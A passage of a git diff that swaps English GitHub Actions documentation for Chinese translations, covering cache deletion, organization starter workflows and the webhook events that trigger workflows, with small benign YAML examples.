![缓存条目列表的屏幕截图](/assets/images/help/repository/actions-cache-entry-list.png) -### Deleting cache entries +### 删除缓存条目 -Users with `write` access to a repository can use the {% data variables.product.prodname_dotcom %} web interface to delete cache entries. +对存储库具有 `write` 权限的用户可以使用 {% data variables.product.prodname_dotcom %} Web 界面删除缓存条目。 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.actions-cache-list %} -1. To the right of the cache entry you want to delete, click {% octicon "trash" aria-label="The trash icon" %}. +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.actions-cache-list %} +1. 在要删除的缓存条目的右侧,单击 {% octicon "trash" aria-label="The trash icon" %}。 - ![Screenshot of the list of cache entries](/assets/images/help/repository/actions-cache-delete.png) + ![缓存条目列表的屏幕截图](/assets/images/help/repository/actions-cache-delete.png) {% endif %} {% endif %} - -{% ifversion actions-cache-list-delete-apis %} - -### Force deleting cache entries - -Caches have branch scope restrictions in place, which means some caches have limited usage options. For more information on cache scope restrictions, see "[Restrictions for accessing a cache](/actions/using-workflows/caching-dependencies-to-speed-up-workflows#restrictions-for-accessing-a-cache)." If caches limited to a specific branch are using a lot of storage quota, it may cause caches from the `default` branch to be created and deleted at a high frequency. - -For example, a repository could have many new pull requests opened, each with their own caches that are restricted to that branch. These caches could take up the majority of the cache storage for that repository. Once a repository has reached its maximum cache storage, the cache eviction policy will create space by deleting the oldest caches in the repository. In order to prevent cache thrashing when this happens, you can set up workflows to delete caches on a faster cadence than the cache eviction policy will. You can use the [`gh-actions-cache`](https://github.com/actions/gh-actions-cache/) CLI extension to delete caches for specific branches. - -This example workflow uses `gh-actions-cache` to delete all the caches created by a branch once a pull request is closed. - -```yaml -name: cleanup caches by a branch -on: - pull_request: - types: - - closed - workflow_dispatch: - -jobs: - cleanup: - runs-on: ubuntu-latest - steps: - - name: Check out code - uses: {% data reusables.actions.action-checkout %} - - - name: Cleanup - run: | - gh extension install actions/gh-actions-cache - - REPO=${{ github.repository }} - BRANCH=${{ github.ref }} - - echo "Fetching list of cache key" - cacheKeysForPR=$(gh actions-cache list -R $REPO -B $BRANCH | cut -f 1 ) - - ## Setting this to not fail the workflow while deleting cache keys. - set +e - echo "Deleting caches..." - for cacheKey in $cacheKeysForPR - do - gh actions-cache delete $cacheKey -R $REPO -B $BRANCH --confirm - done - echo "Done" - env: - GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} -``` - -Alternatively, you can use the API to programmatically delete caches on your own cadence. For more information, see "[Delete GitHub Actions caches for a repository](/rest/actions/cache#delete-github-actions-caches-for-a-repository-using-a-cache-key)." - -{% endif %} diff --git a/translations/zh-CN/content/actions/using-workflows/creating-starter-workflows-for-your-organization.md b/translations/zh-CN/content/actions/using-workflows/creating-starter-workflows-for-your-organization.md index ad1fc32d99..8a3f9c6ee9 100644 --- a/translations/zh-CN/content/actions/using-workflows/creating-starter-workflows-for-your-organization.md +++ b/translations/zh-CN/content/actions/using-workflows/creating-starter-workflows-for-your-organization.md @@ -1,7 +1,7 @@ --- -title: Creating starter workflows for your organization -shortTitle: Create starter workflows -intro: Learn how you can create starter workflows to help people in your team add new workflows more easily. +title: 为组织创建入门工作流程 +shortTitle: Creating starter workflows +intro: 了解如何创建入门工作流程,以帮助团队中的人员更轻松地添加新工作流程。 redirect_from: - /actions/configuring-and-managing-workflows/sharing-workflow-templates-within-your-organization - /actions/learn-github-actions/creating-workflow-templates @@ -15,42 +15,43 @@ type: tutorial topics: - Workflows - CI +ms.openlocfilehash: cbaecefc90f3593b8883c7ccad5256b4addf972c +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147884187' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Overview +## 概述 {% data reusables.actions.workflow-organization-templates %} {% data reusables.actions.starter-workflow-categories %} -## Creating a starter workflow +## 创建入门工作流程 -Starter workflows can be created by users with write access to the organization's `.github` repository. These can then be used by organization members who have permission to create workflows. +入门工作流程可由对组织的 `.github` 存储库具有写入访问权限的用户创建。 然后,有权限创建工作流程的组织成员便可使用它们。 -{% ifversion fpt %} -Starter workflows created by users can only be used to create workflows in public repositories. Organizations using {% data variables.product.prodname_ghe_cloud %} can also use starter workflows to create workflows in private repositories. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/learn-github-actions/creating-starter-workflows-for-your-organization). +{% ifversion fpt %} 用户创建的入门工作流程只能用于在公共存储库中创建工作流程。 使用 {% data variables.product.prodname_ghe_cloud %} 的组织还可以使用入门工作流程在私有仓库中创建工作流程。 有关详细信息,请参阅 [{% data variables.product.prodname_ghe_cloud %} 文档](/enterprise-cloud@latest/actions/learn-github-actions/creating-starter-workflows-for-your-organization)。 {% endif %} -{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} -{% note %} +{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %} {% note %} -**Note:** To avoid duplication among starter workflows you can call reusable workflows from within a workflow. This can help make your workflows easier to maintain. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." +**注意:** 为避免入门工作流程之间的重复,可以从工作流程中调用可重用工作流程。 这有助于使您的工作流程更易于维护。 有关详细信息,请参阅“[重用工作流](/actions/learn-github-actions/reusing-workflows)”。 -{% endnote %} -{% endif %} +{% endnote %} {% endif %} -This procedure demonstrates how to create a starter workflow and metadata file. The metadata file describes how the starter workflows will be presented to users when they are creating a new workflow. +此过程演示如何创建入门工作流程和元数据文件。 元数据文件描述了在用户创建新工作流程时如何向用户显示入门工作流程。 -1. If it doesn't already exist, create a new public repository named `.github` in your organization. -2. Create a directory named `workflow-templates`. -3. Create your new workflow file inside the `workflow-templates` directory. +1. 如果组织中没有名为 `.github` 的公共存储库,请新建一个。 +2. 创建名为 `workflow-templates` 的目录。 +3. 在 `workflow-templates` 目录中创建新的工作流文件。 - If you need to refer to a repository's default branch, you can use the `$default-branch` placeholder. When a workflow is created the placeholder will be automatically replaced with the name of the repository's default branch. + 如果需要引用存储库的默认分支,可以使用 `$default-branch` 占位符。 创建工作流程时,占位符将自动替换为仓库默认分支的名称。 - For example, this file named `octo-organization-ci.yml` demonstrates a basic workflow. + 例如,名为 `octo-organization-ci.yml` 的文件演示基本工作流。 ```yaml name: Octo Organization CI @@ -71,7 +72,7 @@ This procedure demonstrates how to create a starter workflow and metadata file. - name: Run a one-line script run: echo Hello from Octo Organization ``` -4. Create a metadata file inside the `workflow-templates` directory. The metadata file must have the same name as the workflow file, but instead of the `.yml` extension, it must be appended with `.properties.json`. For example, this file named `octo-organization-ci.properties.json` contains the metadata for a workflow file named `octo-organization-ci.yml`: +4. 在 `workflow-templates` 目录中创建元数据文件。 元数据文件必须与工作流程文件同名,但扩展名不是 `.yml`,而必须附加 `.properties.json`。 例如,名为 `octo-organization-ci.properties.json` 的文件包含名为 `octo-organization-ci.yml` 的工作流文件的元数据: ```yaml { "name": "Octo Organization Workflow", @@ -87,16 +88,16 @@ This procedure demonstrates how to create a starter workflow and metadata file. ] } ``` - * `name` - **Required.** The name of the workflow. This is displayed in the list of available workflows. - * `description` - **Required.** The description of the workflow. This is displayed in the list of available workflows. - * `iconName` - **Optional.** Specifies an icon for the workflow that's displayed in the list of workflows. The `iconName` must be the name of an SVG file, without the file name extension, stored in the `workflow-templates` directory. For example, an SVG file named `example-icon.svg` is referenced as `example-icon`. - * `categories` - **Optional.** Defines the language category of the workflow. When a user views the available starter workflows for a repository, the workflows that match the identified language for the project are featured more prominently. For information on the available language categories, see https://github.com/github/linguist/blob/master/lib/linguist/languages.yml. - * `filePatterns` - **Optional.** Allows the workflow to be used if the user's repository has a file in its root directory that matches a defined regular expression. + * `name` - **必选。** 工作流的名称。 这会显示在可用工作流程列表中。 + * `description` - **必选。** 工作流的说明。 这会显示在可用工作流程列表中。 + * `iconName` - **可选。** 指定工作流列表中显示的工作流的图标。 `iconName` 必须是 SVG 文件的名称,而不使用文件扩展名,且存储在 `workflow-templates` 目录中。 例如,名为 `example-icon.svg` 的 SVG 文件被引用为 `example-icon`。 + * `categories` - **可选。** 定义工作流的语言类别。 当用户查看存储库的可用入门工作流程时,与项目已识别语言匹配的工作流程将更加突出。 有关可用语言类别的信息,请参阅 https://github.com/github/linguist/blob/master/lib/linguist/languages.yml 。 + * `filePatterns` - **可选。** 如果用户的存储库在其根目录中具有与定义的正则表达式匹配的文件,则允许使用工作流。 -To add another starter workflow, add your files to the same `workflow-templates` directory. For example: +若要添加另一个入门工作流程,请将文件添加到相同的 `workflow-templates` 目录。 例如: -![Workflow files](/assets/images/help/images/workflow-template-files.png) +![工作流程文件](/assets/images/help/images/workflow-template-files.png) -## Next steps +## 后续步骤 -To continue learning about {% data variables.product.prodname_actions %}, see "[Using starter workflows](/actions/using-workflows/using-starter-workflows)." +若要继续了解 {% data variables.product.prodname_actions %},请参阅“[使用入门工作流程](/actions/using-workflows/using-starter-workflows)”。 diff --git a/translations/zh-CN/content/actions/using-workflows/events-that-trigger-workflows.md b/translations/zh-CN/content/actions/using-workflows/events-that-trigger-workflows.md index fa4f441d04..27256d9072 100644 --- a/translations/zh-CN/content/actions/using-workflows/events-that-trigger-workflows.md +++ b/translations/zh-CN/content/actions/using-workflows/events-that-trigger-workflows.md @@ -1,6 +1,6 @@ --- -title: Events that trigger workflows -intro: 'You can configure your workflows to run when specific activity on {% data variables.product.product_name %} happens, at a scheduled time, or when an event outside of {% data variables.product.product_name %} occurs.' +title: 触发工作流的事件 +intro: '您可以配置工作流程在 {% data variables.product.product_name %} 上发生特定活动时运行、在预定的时间运行,或者在 {% data variables.product.product_name %} 外部的事件发生时运行。' miniTocMaxHeadingLevel: 3 redirect_from: - /articles/events-that-trigger-workflows @@ -14,34 +14,39 @@ versions: ghae: '*' ghec: '*' shortTitle: Events that trigger workflows +ms.openlocfilehash: bef348caaccfdad85782811d4addd78cd7ad7460 +ms.sourcegitcommit: 8476dc3d513740e7cb84a91c45768cf44db5df4f +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 08/04/2022 +ms.locfileid: '147496562' --- +## 关于触发工作流程的事件 -## About events that trigger workflows +工作流程触发器是导致工作流程运行的事件。 有关如何使用工作流触发器的详细信息,请参阅“[触发工作流](/actions/using-workflows/triggering-a-workflow)”。 -Workflow triggers are events that cause a workflow to run. For more information about how to use workflow triggers, see "[Triggering a workflow](/actions/using-workflows/triggering-a-workflow)." +## 可用事件 -## Available events - -Some events have multiple activity types. For these events, you can specify which activity types will trigger a workflow run. For more information about what each activity type means, see "[Webhook events and payloads](/developers/webhooks-and-events/webhook-events-and-payloads)." Note that not all webhook events trigger workflows. +某些事件具有多种活动类型。 对于这些事件,您可以指定将触发工作流程运行的活动类型。 有关每个活动类型的含义的详细信息,请参阅“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhook-events-and-payloads)”。 请注意,并非所有 web 挂钩事件都会触发工作流程。 {% ifversion fpt or ghec or ghes > 3.3 or ghae %} ### `branch_protection_rule` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`branch_protection_rule`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#branch_protection_rule) | - `created`
- `edited`
- `deleted` | Last commit on default branch | Default branch | +| [`branch_protection_rule`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#branch_protection_rule) | - `created`
- `edited`
- `deleted` | 默认分支上的最新提交 | 默认分支 | {% note %} -**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#branch_protection_rule)." {% data reusables.developer-site.limit_workflow_to_activity_types %} +注意:{% data reusables.developer-site.multiple_activity_types %} 有关每个活动类型的信息,请参阅“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#branch_protection_rule)”。 {% data reusables.developer-site.limit_workflow_to_activity_types %} {% endnote %} {% data reusables.actions.branch-requirement %} -Runs your workflow when branch protection rules in the workflow repository are changed. For more information about branch protection rules, see "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)." For information about the branch protection rule APIs, see "[BranchProtectionRule](/graphql/reference/objects#branchprotectionrule)" in the GraphQL API documentation or "[Branches](/rest/reference/branches)" in the REST API documentation. +在工作流程存储库中的分支保护规则发生更改时运行工作流程。 有关分支保护规则的详细信息,请参阅“[关于受保护的分支](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)”。 有关分支保护规则 API 的信息,请参阅 GraphQL API 文档中的“[BranchProtectionRule](/graphql/reference/objects#branchprotectionrule)”或 REST API 文档中的“[分支](/rest/reference/branches)”。 -For example, you can run a workflow when a branch protection rule has been `created` or `deleted`: +例如,可以在分支保护规则状态为 `created` 或 `deleted` 时运行工作流: ```yaml on: @@ -53,21 +58,21 @@ on: ### `check_run` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`check_run`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#check_run) | - `created`
- `rerequested`
- `completed`
-`requested_action` | Last commit on default branch | Default branch | +| [`check_run`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#check_run) | - `created`
- `rerequested`
- `completed`
-`requested_action` | 默认分支上的最新提交 | 默认分支 | {% note %} -**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#check_run)." {% data reusables.developer-site.limit_workflow_to_activity_types %} +注意:{% data reusables.developer-site.multiple_activity_types %} 有关每个活动类型的信息,请参阅“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#check_run)”。 {% data reusables.developer-site.limit_workflow_to_activity_types %} {% endnote %} {% data reusables.actions.branch-requirement %} -Runs your workflow when activity related to a check run occurs. A check run is an individual test that is part of a check suite. For information, see "[Getting started with the Checks API](/rest/guides/getting-started-with-the-checks-api)." For information about the check run APIs, see "[CheckRun](/graphql/reference/objects#checkrun)" in the GraphQL API documentation or "[Checks](/rest/reference/checks#runs)" in the REST API documentation. +在发生与检查运行相关的活动时运行工作流程。 检查运行是检查套件中的单个测试。 有关详细信息,请参阅“[检查 API 入门](/rest/guides/getting-started-with-the-checks-api)”。 有关检查运行 API 的信息,请参阅 GraphQL API 文档中的“[CheckRun](/graphql/reference/objects#checkrun)”或 REST API 文档中的“[检查](/rest/reference/checks#runs)”。 -For example, you can run a workflow when a check run has been `rerequested` or `completed`. +例如,可以在检查运行状态为 `rerequested` 或 `completed` 时运行工作流。 ```yaml on: @@ -77,13 +82,13 @@ on: ### `check_suite` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`check_suite`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#check_suite) | - `completed` | Last commit on default branch | Default branch | +| [`check_suite`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#check_suite) | - `completed` | 默认分支上的最新提交 | 默认分支 | {% note %} -**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#check_suite)." Although only the `started` activity type is supported, specifying the activity type will keep your workflow specific if more activity types are added in the future. {% data reusables.developer-site.limit_workflow_to_activity_types %} +注意:{% data reusables.developer-site.multiple_activity_types %} 有关每个活动类型的信息,请参阅“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#check_suite)”。 尽管仅支持 `started` 活动类型,但如果将来添加更多活动类型,则指定活动类型将确保工作流保持特定。 {% data reusables.developer-site.limit_workflow_to_activity_types %} {% endnote %} @@ -91,13 +96,13 @@ on: {% note %} -**Note:** To prevent recursive workflows, this event does not trigger workflows if the check suite was created by {% data variables.product.prodname_actions %}. +注意:为防止递归工作流,如果检查套件是由 {% data variables.product.prodname_actions %} 创建,则此事件不会触发工作流。 {% endnote %} -Runs your workflow when check suite activity occurs. A check suite is a collection of the check runs created for a specific commit. Check suites summarize the status and conclusion of the check runs that are in the suite. For information, see "[Getting started with the Checks API](/rest/guides/getting-started-with-the-checks-api)." For information about the check suite APIs, see "[CheckSuite](/graphql/reference/objects#checksuite)" in the GraphQL API documentation or "[Checks](/rest/reference/checks#suites)" in the REST API documentation. +在发生检查套件活动时运行工作流程。 检查套件是为特定提交创建的检查运行的集合。 检查套件汇总了套件中检查运行的状态和结论。 有关详细信息,请参阅“[检查 API 入门](/rest/guides/getting-started-with-the-checks-api)”。 有关检查套件 API 的信息,请参阅 GraphQL API 文档中的“[CheckSuite](/graphql/reference/objects#checksuite)”或 REST API 文档中的“[检查](/rest/reference/checks#suites)”。 -For example, you can run a workflow when a check suite has been `completed`. +例如,可以在检查运行状态为 `completed` 时运行工作流。 ```yaml on: @@ -107,19 +112,19 @@ on: ### `create` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`create`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#create) | n/a | Last commit on the created branch or tag | Branch or tag created | +| [`create`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#create) | 不适用 | 创建的分支或标记上的最新提交 | 创建的分支或标记 | {% note %} -**Note**: An event will not be created when you create more than three tags at once. +注意:一次创建三个以上的标记时,不会创建事件。 {% endnote %} -Runs your workflow when someone creates a Git reference (Git branch or tag) in the workflow's repository. For information about the APIs to create a Git reference, see "[createRef](/graphql/reference/mutations#createref)" in the GraphQL API documentation or "[Create a reference](/rest/reference/git#create-a-reference)" in the REST API documentation. +当有人在工作流程的存储库中创建 Git 引用(Git 分支或标记)时运行工作流程。 有关使用 API 创建 Git 引用的信息,请参阅 GraphQL API 文档中的“[createRef](/graphql/reference/mutations#createref)”或 REST API 文档中的“[创建引用](/rest/reference/git#create-a-reference)”。 -For example, you can run a workflow when the `create` event occurs. +例如,可以在发生 `create` 事件时运行工作流。 ```yaml on: @@ -128,21 +133,21 @@ on: ### `delete` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`delete`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#delete) | n/a | Last commit on default branch | Default branch | +| [`delete`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#delete) | 不适用 | 默认分支上的最新提交 | 默认分支 | {% data reusables.actions.branch-requirement %} {% note %} -**Note**: An event will not be created when you delete more than three tags at once. +注意:一次删除三个以上的标记时,不会创建事件。 {% endnote %} -Runs your workflow when someone deletes a Git reference (Git branch or tag) in the workflow's repository. For information about the APIs to delete a Git reference, see "[deleteRef](/graphql/reference/mutations#deleteref)" in the GraphQL API documentation or "[Delete a reference](/rest/reference/git#delete-a-reference)" in the REST API documentation. +当有人删除工作流程存储库中的 Git 引用(Git 分支或标记)时运行工作流程。 有关使用 API 删除 Git 引用的信息,请参阅 GraphQL API 文档中的“[deleteRef](/graphql/reference/mutations#deleteref)”或 REST API 文档中的“[删除引用](/rest/reference/git#delete-a-reference)”。 -For example, you can run a workflow when the `delete` event occurs. +例如,可以在发生 `delete` 事件时运行工作流。 ```yaml on: @@ -151,13 +156,13 @@ on: ### `deployment` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`deployment`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#deployment) | n/a | Commit to be deployed | Branch or tag to be deployed (empty if created with a commit SHA)| +| [`deployment`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#deployment) | 不适用 | 要部署的提交 | 要部署的分支或标记(如果使用提交 SHA 创建,则为空)| -Runs your workflow when someone creates a deployment in the workflow's repository. Deployments created with a commit SHA may not have a Git ref. For information about the APIs to create a deployment, see "[createDeployment](/graphql/reference/mutations#createdeployment)" in the GraphQL API documentation or "[Deployments](/rest/reference/repos#deployments)" in the REST API documentation. +当有人在工作流程的存储库中创建部署时运行工作流程。 使用提交 SHA 创建的部署可能没有 Git 引用。有关用于创建部署的 API 的信息,请参阅 GraphQL API 文档中的“[createDeployment](/graphql/reference/mutations#createdeployment)”或 REST API 文档中的“[部署](/rest/reference/repos#deployments)”。 -For example, you can run a workflow when the `deployment` event occurs. +例如,可以在发生 `deployment` 事件时运行工作流。 ```yaml on: @@ -166,19 +171,19 @@ on: ### `deployment_status` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`deployment_status`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#deployment_status) | n/a | Commit to be deployed | Branch or tag to be deployed (empty if commit)| +| [`deployment_status`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#deployment_status) | 不适用 | 要部署的提交 | 要部署的分支或标记(提交时为空)| {% note %} -**Note:** When a deployment status's state is set to `inactive`, a workflow run will not be triggered. +注意:将部署状态设置为 `inactive` 时,不会触发工作流运行。 {% endnote %} -Runs your workflow when a third party provides a deployment status. Deployments created with a commit SHA may not have a Git ref. For information about the APIs to create a deployment status, see "[createDeploymentStatus](/graphql/reference/mutations#createdeploymentstatus)" in the GraphQL API documentation or "[Create a deployment status](/rest/reference/deployments#create-a-deployment-status)" in the REST API documentation. +在第三方提供部署状态时运行工作流程。 使用提交 SHA 创建的部署可能没有 Git 引用。有关用于创建部署状态的 API 的信息,请参阅 GraphQL API 文档中的“[createDeploymentStatus](/graphql/reference/mutations#createdeploymentstatus)”或 REST API 文档中的“[创建部署状态](/rest/reference/deployments#create-a-deployment-status)”。 -For example, you can run a workflow when the `deployment_status` event occurs. +例如,可以在发生 `deployment_status` 事件时运行工作流。 ```yaml on: @@ -188,13 +193,13 @@ on: {% ifversion discussions %} ### `discussion` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`discussion`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#discussion) | - `created`
- `edited`
- `deleted`
- `transferred`
- `pinned`
- `unpinned`
- `labeled`
- `unlabeled`
- `locked`
- `unlocked`
- `category_changed`
- `answered`
- `unanswered` | Last commit on default branch | Default branch | +| [`discussion`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#discussion) | - `created`
- `edited`
- `deleted`
- `transferred`
- `pinned`
- `unpinned`
- `labeled`
- `unlabeled`
- `locked`
- `unlocked`
- `category_changed`
- `answered`
- `unanswered` | 默认分支上的最新提交 | 默认分支 | {% note %} -**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#discussion)." {% data reusables.developer-site.limit_workflow_to_activity_types %} +注意:{% data reusables.developer-site.multiple_activity_types %} 有关每个活动类型的信息,请参阅“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#discussion)”。 {% data reusables.developer-site.limit_workflow_to_activity_types %} {% endnote %} @@ -202,9 +207,9 @@ on: {% data reusables.webhooks.discussions-webhooks-beta %} -Runs your workflow when a discussion in the workflow's repository is created or modified. For activity related to comments on a discussion, use the [`discussion_comment`](#discussion_comment) event. For more information about discussions, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." For information about the GraphQL API, see "[Discussion](/graphql/reference/objects#discussion)." +在创建或修改工作流程存储库中的讨论时运行工作流程。 对于与讨论评论相关的活动,请使用 [`discussion_comment`](#discussion_comment) 事件。 有关讨论的详细信息,请参阅“[关于讨论](/discussions/collaborating-with-your-community-using-discussions/about-discussions)”。 有关 GraphQL API 的信息,请参阅“[讨论](/graphql/reference/objects#discussion)”。 -For example, you can run a workflow when a discussion has been `created`, `edited`, or `answered`. +例如,可以在讨论状态为 `created`、`edited` 或 `answered` 时运行工作流。 ```yaml on: @@ -214,13 +219,13 @@ on: ### `discussion_comment` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`discussion_comment`](/developers/webhooks-and-events/webhook-events-and-payloads#discussion_comment) | - `created`
- `edited`
- `deleted`
| Last commit on default branch | Default branch | +| [`discussion_comment`](/developers/webhooks-and-events/webhook-events-and-payloads#discussion_comment) | - `created`
- `edited`
- `deleted`
| 默认分支上的最新提交 | 默认分支 | {% note %} -**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#discussion_comment)." {% data reusables.developer-site.limit_workflow_to_activity_types %} +注意:{% data reusables.developer-site.multiple_activity_types %} 有关每个活动类型的信息,请参阅“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#discussion_comment)”。 {% data reusables.developer-site.limit_workflow_to_activity_types %} {% endnote %} @@ -228,9 +233,9 @@ on: {% data reusables.webhooks.discussions-webhooks-beta %} -Runs your workflow when a comment on a discussion in the workflow's repository is created or modified. For activity related to a discussion as opposed to comments on the discussion, use the [`discussion`](#discussion) event. For more information about discussions, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." For information about the GraphQL API, see "[Discussion](/graphql/reference/objects#discussion)." +在创建或修改工作流程存储库中讨论的评论时运行工作流程。 对于与讨论(而非讨论的评论)相关的活动,请使用 [`discussion`](#discussion) 事件。 有关讨论的详细信息,请参阅“[关于讨论](/discussions/collaborating-with-your-community-using-discussions/about-discussions)”。 有关 GraphQL API 的信息,请参阅“[讨论](/graphql/reference/objects#discussion)”。 -For example, you can run a workflow when a discussion comment has been `created` or `deleted`. +例如,可以在讨论评论的状态为 `created` 或 `deleted` 时运行工作流。 ```yaml on: @@ -242,15 +247,15 @@ on: ### `fork` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`fork`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#fork) | n/a | Last commit on default branch | Default branch | +| [`fork`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#fork) | 不适用 | 默认分支上的最新提交 | 默认分支 | {% data reusables.actions.branch-requirement %} -Runs your workflow when someone forks a repository. For information about the REST API, see "[Create a fork](/rest/reference/repos#create-a-fork)." +当有人复刻存储库时运行工作流程。 有关 REST API 的信息,请参阅“[创建分支](/rest/reference/repos#create-a-fork)”。 -For example, you can run a workflow when the `fork` event occurs. +例如,可以在发生 `fork` 事件时运行工作流。 ```yaml on: @@ -259,15 +264,15 @@ on: ### `gollum` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`gollum`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#gollum) | n/a | Last commit on default branch | Default branch | +| [`gollum`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#gollum) | 不适用 | 默认分支上的最新提交 | 默认分支 | {% data reusables.actions.branch-requirement %} -Runs your workflow when someone creates or updates a Wiki page. For more information, see "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)." +在有人创建或更新 Wiki 页面时运行工作流程。 有关详细信息,请参阅“[关于 Wikis](/communities/documenting-your-project-with-wikis/about-wikis)”。 -For example, you can run a workflow when the `gollum` event occurs. +例如,可以在发生 `gollum` 事件时运行工作流。 ```yaml on: @@ -276,21 +281,21 @@ on: ### `issue_comment` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`issue_comment`](/developers/webhooks-and-events/webhook-events-and-payloads#issue_comment) | - `created`
- `edited`
- `deleted`
| Last commit on default branch | Default branch | +| [`issue_comment`](/developers/webhooks-and-events/webhook-events-and-payloads#issue_comment) | - `created`
- `edited`
- `deleted`
